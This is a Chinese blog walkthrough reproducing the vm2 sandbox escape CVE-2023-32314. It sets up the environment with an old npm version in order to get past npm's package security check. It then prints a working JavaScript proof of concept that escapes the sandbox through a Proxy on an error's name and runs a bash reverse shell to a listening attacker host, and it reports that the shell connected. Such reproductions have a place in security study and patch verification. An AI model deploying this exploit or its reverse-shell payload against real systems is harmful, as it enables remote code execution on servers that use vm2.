漏洞实现 --- Vm2沙箱逃逸漏洞复现(CVE-2023-32314)

Vm2沙箱逃逸漏洞复现

CentOS7(Nodejs和[email protected]

PS:安装低版本npm是为了规避npm的内部审核机制(高版本npm会检查vm2安装包的安全性)

(1)流程

  1. 低版本nodejs + 低版本npm
  2. 利用低版本npm安装[email protected]
  3. 升级至高版本nodejs
  4. 复现漏洞

(2)开始操作

  • 安装低版本nodejs + 低版本npm
 wget http://nodejs.org/dist/v0.10.25/node-v0.10.25.tar.gz --- 解压
 mv node-v0.10.25-linux-x64 /usr/local/nodejs --- 更改名称
 ./configure --prefix=/usr/local/nodejs --- 配置目录
 make && make install --- 编译安装
 ln -s /usr/local/nodejs/bin/node /usr/local/bin --- 建立node软链接
 ln -s /usr/local/nodejs/bin/npm /usr/local/bin --- 建立npm软链接
 npm config set registry https://registry.npm.taobao.org --- 设置镜像源
 npm config list --- 查看设置信息

查看版本

安装gcc

npm install [email protected]

  • 升级nodejs至高版本

安装nvm

配置环境变量,使得环境变量生效

nvm list-remote --- 查看版本
nvm install v16.18.1 --- 安装指定版本
nvm use v16.18.1 --- 切换至指定版本
node --version --- 查看版本

最终复现环境所需版本
漏洞实现 --- Vm2沙箱逃逸漏洞复现(CVE-2023-32314)_第1张图片

(3)漏洞复现

  • poc
const { VM } = require("vm2");
const vm = new VM();
 
const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("bash -i >& /dev/tcp/192.168.174.123/8080 0>&1").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;
 
console.log(vm.run(code));
  • 将poc写入js文件,并运行


漏洞实现 --- Vm2沙箱逃逸漏洞复现(CVE-2023-32314)_第2张图片

  • 攻击机监听端口,执行1.js文件


漏洞实现 --- Vm2沙箱逃逸漏洞复现(CVE-2023-32314)_第3张图片

  • 反弹成功

漏洞实现 --- Vm2沙箱逃逸漏洞复现(CVE-2023-32314)_第4张图片

你可能感兴趣的:(漏洞攻击,安全,web安全,运维,xss,https)